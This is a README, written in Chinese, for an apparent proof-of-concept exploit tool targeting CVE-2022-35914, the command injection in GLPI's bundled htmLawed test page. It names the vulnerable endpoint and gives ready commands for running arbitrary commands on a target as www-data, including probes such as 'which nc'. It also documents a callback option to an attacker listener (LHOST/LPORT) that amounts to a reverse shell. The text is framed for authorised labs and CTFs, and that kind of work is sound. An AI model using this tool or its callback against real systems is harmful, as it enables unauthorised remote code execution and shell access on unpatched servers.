CVE-2022-35914 的 PoC,该漏洞涉及易受攻击的 GLPI 安装中 htmLawed 测试组件的命令注入漏洞。
该工具通过易受攻击的端点提供命令执行功能,并包含适用于已授权实验室环境的可选回调功能。
免责声明: 本项目仅用于已授权的安全测试、CTF、OffSec/PG 实验室及教育目的。未经明确授权,请勿将其用于任何系统。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2022-35914 |
| 软件 | GLPI |
| 组件 | htmLawed |
| 易受攻击的端点 | /vendor/htmlawed/htmlawed/htmLawedTest.php |
该易受攻击的组件可能允许通过特制参数在受影响安装上执行命令。
Python 3 及所需的依赖项。
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
克隆仓库:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
将脚本设置为可执行:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
示例输出:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
-c 选项指定要执行的命令。
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
-p / --rport 选项指定易受攻击的 GLPI Web 服务运行的端口。
默认值:
80
示例:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
使用 --check 验证 htmLawed 测试页面是否可用,而无需执行命令:
python3 glpi.py -u TARGET_IP --check
可通过以下方式提供自定义 HTTP User-Agent:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
该脚本支持可选的回调参数:
-l 回调/监听 IP
-lp 回调/监听端口
示例:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
在此示例中:
目标: TARGET_IP:80
回调: LHOST:80
这两个端口用途不同:
-p = 目标 GLPI HTTP 端口
-lp = 回调/监听端口
在 OffSec 实验室环境测试期间,回调通过 TCP 端口 80 成功工作。
根据实验室网络和出口过滤规则,其他回调端口(如 4444)可能会超时。
针对所测试的环境:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
监听器在 Kali VPN 接口上使用 TCP 端口 80 配置。
重要提示: 使用端口 80 进行回调是针对特定环境的观察结果,并非 CVE-2022-35914 的要求。
首先验证命令执行:
python3 glpi.py -u TARGET_IP -c 'id'
检查所需工具是否存在:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
如果命令执行正常但回调超时,请检查 VPN 路由和回调端口。
如果命令输出解析失败,完整的 HTTP 响应将保存到:
/tmp/glpi.html
使用以下命令查看:
less /tmp/glpi.html
或:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
针对已测试的 OffSec 实验室环境:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
本项目仅用于教育和已授权的安全测试目的。
作者对该软件的任何滥用、损害、未经授权的访问或非法活动概不负责。
在测试系统前,务必获得明确授权。
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 作者:cyb3rk0ala
| 选项 | 描述 | 默认值 |
|---|
-u, --url | 目标 URL 或 IP 地址 | 必填 |
-c, --cmd | 要执行的命令 | id |
--check | 不执行命令,仅检测目标 | 禁用 |
--user-agent | 自定义 HTTP User-Agent | 默认 |
-p, --rport | 目标 HTTP 服务端口 | 80 |
-l, --lhost | 回调/监听 IP 地址 | — |
-lp, --lport | 回调/监听端口 | — |